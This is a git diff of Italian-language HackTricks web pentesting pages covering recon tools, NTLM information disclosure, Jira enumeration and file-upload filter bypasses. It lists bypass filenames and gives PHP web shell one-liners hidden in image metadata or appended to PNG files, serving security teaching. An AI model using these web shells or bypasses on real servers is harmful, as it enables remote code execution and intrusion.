* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi dai file JavaScript. Utile per scoprire facilmente le richieste AJAX. Sembra non essere mantenuto.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà gli URL da esso utilizzando una nifty regular expression per trovare ed estrarre gli URL relativi da file brutti (minify).
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà gli URL da esso utilizzando una nifty regular expression per trovare ed estrarre gli URL relativi dai file "brutti" (minify).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogli informazioni interessanti dai file JS utilizzando diversi strumenti.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Trova file JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli URL caricati per caricare la pagina.
|
||||
|
@ -239,16 +239,16 @@ Lancia qualche tipo di **spider** all'interno del web. L'obiettivo dello spider
|
|||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri nei file JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, otterrà il codice JS beatificato.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un determinato target.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri i collegamenti dalla macchina del wayback (scaricando anche le risposte nel wayback e cercando altri collegamenti).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri i collegamenti dalla macchina del passato (scaricando anche le risposte nel passato e cercando più collegamenti).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawla (anche riempiendo moduli) e trova anche informazioni sensibili utilizzando espressioni regolari specifiche.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato Crawler/Spider di sicurezza web GUI multi-feature progettato per professionisti della sicurezza informatica.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumetno da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice estensione di **Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare un elenco di parole personalizzato per fuzzing e enumerazione.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è un'estensione semplice di **Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare un elenco di parole personalizzato per fuzzing e enumerazione.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
|
||||
|
||||
### Forza bruta su directory e file
|
||||
|
||||
Inizia la **forza bruta** dalla cartella radice e assicurati di forzare la **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
|
||||
Inizia la **forza bruta** dalla cartella radice e assicurati di forzare la **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta **in modo ricorsivo** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
|
||||
Strumenti:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Incluso in Kali, **vecchio** (e **lento**) ma funzionale. Consente certificati auto-firmati e ricerca ricorsiva. Troppo lento rispetto alle altre opzioni.
|
||||
|
@ -265,7 +265,7 @@ Strumenti:
|
|||
**Dizionari consigliati:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* Dizionario incluso in **Dirsearch**
|
||||
* [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Wordlists di Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
|
@ -287,16 +287,16 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
|
||||
* [**Verifica dei link rotti**](https://github.com/stevenvachon/broken-link-checker): Trova i link rotti all'interno degli HTML che potrebbero essere vulnerabili agli attacchi di takeover
|
||||
* **Backup dei file**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
|
||||
* **Scopri nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
|
||||
* _Tutti i wordlist predefiniti di Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Commenti:** Controlla i commenti di tutti i file, potresti trovare **credenziali** o **funzionalità nascoste**.
|
||||
* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento nella **parte inferiore** della pagina web.
|
||||
* **Chiavi API**: Se **trovi una qualsiasi chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
|
||||
* **Chiavi API**: Se trovi **qualche chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare a quali API la chiave può accedere.
|
||||
* **Secchi S3**: Durante lo spidering, controlla se qualche **sottodominio** o qualche **link** è collegato a un **secchio S3**. In tal caso, [**controlla** i **permessi** del secchio](buckets/).
|
||||
* **Bucket S3**: Durante lo spidering, controlla se qualche **sottodominio** o qualche **link** è collegato a un **bucket S3**. In tal caso, [**controlla** i **permessi** del bucket](buckets/).
|
||||
|
||||
### Scoperte speciali
|
||||
|
||||
|
@ -308,14 +308,14 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
* [Se trovi un file _**.git**_ è possibile estrarre alcune informazioni](git.md)
|
||||
* Se trovi un file _**.env**_ potrebbero essere presenti informazioni come chiavi API, password dei database e altre informazioni.
|
||||
* Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali.
|
||||
* **File JS**: Nella sezione dello spidering sono stati menzionati diversi strumenti che possono estrarre percorsi dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare l'introduzione di una potenziale vulnerabilità nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **File JS**: Nella sezione di spidering sono stati menzionati diversi strumenti che possono estrarre percorsi dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare l'introduzione di una potenziale vulnerabilità nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per verificare se sono vulnerabili.
|
||||
* **Deobfuscator e Unpacker di Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Deobfuscator e Unpacker Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Deobfuscation di JsFuck** (javascript con caratteri:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **Deobfuscation JsFuck** (javascript con caratteri:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* In diverse occasioni sarà necessario **comprendere le espressioni regolari** utilizzate, questo sarà utile: [https://regex101.com/](https://regex101.com)
|
||||
* Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nei parametri o l'aspetto di un nuovo modulo potrebbero indicare una potenziale nuova funzionalità vulnerabile.
|
||||
* Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché un cambiamento nel parametro o l'aspetto di un nuovo modulo potrebbe indicare una potenziale nuova funzionalità vulnerabile.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -327,16 +327,16 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
|
||||
Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF.
|
||||
|
||||
**Autenticazione NTLM - Divulgazione di informazioni**
|
||||
**Autenticazione NTLM - Divulgazione informazioni**
|
||||
|
||||
Se il server in esecuzione che richiede l'autenticazione è **Windows** o trovi un login che chiede le tue **credenziali** (e chiede il **nome** del **dominio**), puoi provocare una **divulgazione di informazioni**.\
|
||||
**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa del funzionamento dell'autenticazione **NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
||||
Se il server in esecuzione che richiede l'autenticazione è **Windows** o trovi un login che chiede le tue **credenziali** (e chiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
|
||||
**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
||||
Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Reindirizzamento HTTP (CTF)**
|
||||
**Redirect HTTP (CTF)**
|
||||
|
||||
È possibile **inserire contenuti** all'interno di un **reindirizzamento**. Questo contenuto **non verrà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento), ma potrebbe essere **nascosto** al suo interno.
|
||||
### Verifica delle Vulnerabilità Web
|
||||
### Controllo delle Vulnerabilità Web
|
||||
|
||||
Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui:
|
||||
|
||||
|
@ -352,11 +352,11 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
|
|||
|
||||
### Monitorare le Pagine per i Cambiamenti
|
||||
|
||||
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità.
|
||||
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per le modifiche che potrebbero inserire vulnerabilità.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò che sembra inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -440,6 +440,6 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò che sembra inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
|
||||
|
@ -90,7 +90,7 @@ Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò ch
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -35,11 +35,11 @@ Altre estensioni utili:
|
|||
|
||||
### Bypass dei controlli sulle estensioni dei file
|
||||
|
||||
1. Se applicabili, **controllare** le **estensioni precedenti**. Testarle anche utilizzando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controllare **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usare anche le estensioni precedenti):_
|
||||
1. Se applicano, **controlla** le **estensioni precedenti**. Prova anche a usarle con alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Provare ad aggiungere **caratteri speciali alla fine**. Potresti utilizzare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a utilizzare le **estensioni precedentemente** menzionate_)
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine**. Potresti usare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -49,7 +49,7 @@ Altre estensioni utili:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Provare a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -58,13 +58,13 @@ Altre estensioni utili:
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Aggiungere **un'altra serie di estensioni** al controllo precedente:
|
||||
5. Aggiungi **un'altra serie di estensioni** al controllo precedente:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Provare a mettere l'estensione **exec prima dell'estensione valida** e sperare che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
|
||||
6. Prova a mettere l'estensione **exec prima dell'estensione valida** e spera che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
|
||||
* _es: file.php.png_
|
||||
7. Utilizzare **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per aggirare ulteriori restrizioni (ad es. “file.asp::$data.”)
|
||||
8. Provare a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
|
||||
7. Utilizzo di **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello "**::$data**" può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per aggirare ulteriori restrizioni (ad es. "file.asp::$data.")
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux massimo 255 byte
|
||||
|
@ -78,9 +78,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
```
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
* Ignora i controlli sul **Content-Type** impostando il **valore** dell'**header Content-Type** su: _image/png_, _text/plain, application/octet-stream_
|
||||
* Ignora i controlli sul **Content-Type** impostando il **valore** dell'**header Content-Type** a: _image/png_, _text/plain_, _application/octet-stream_
|
||||
1. **Wordlist Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Ignora il controllo del **magic number** aggiungendo all'inizio del file i **byte di un'immagine reale** (confondere il comando _file_). O introduci il **shell all'interno dei metadati**:\
|
||||
* Ignora il controllo del **magic number** aggiungendo all'inizio del file i **byte di un'immagine reale** (confondere il comando _file_). Oppure introduci il **shell all'interno dei metadati**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
|
@ -91,7 +91,7 @@ Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
|
|||
* Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti utilizzare il **chunk tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Altri trucchi da verificare
|
||||
### Altri Trucchi da Verificare
|
||||
|
||||
* Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
|
||||
* Trova una vulnerabilità di **Inclusione di File Locale** per eseguire il backdoor.
|
||||
|
@ -99,23 +99,23 @@ Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
|
|||
1. Carica **più volte** (e allo **stesso tempo**) lo **stesso file** con lo **stesso nome**
|
||||
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||
3. Carica un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
|
||||
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
|
||||
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS** (Windows).
|
||||
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome (Windows).
|
||||
6. Carica un file in **Windows** utilizzando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
* Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà del codice** quando aperto accidentalmente dalla vittima.
|
||||
|
||||
### Trucchi speciali sull'estensione
|
||||
### Trucchi Speciali sull'Estensione
|
||||
|
||||
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco del file **.htaccess per eseguire il codice**](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco del file **.config per eseguire il codice**](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...)
|
||||
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...).
|
||||
|
||||
L'estensione `.inc` viene talvolta utilizzata per i file PHP che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **l'esecuzione di questa estensione**.
|
||||
L'estensione `.inc` viene talvolta utilizzata per file PHP che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **l'esecuzione di questa estensione**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
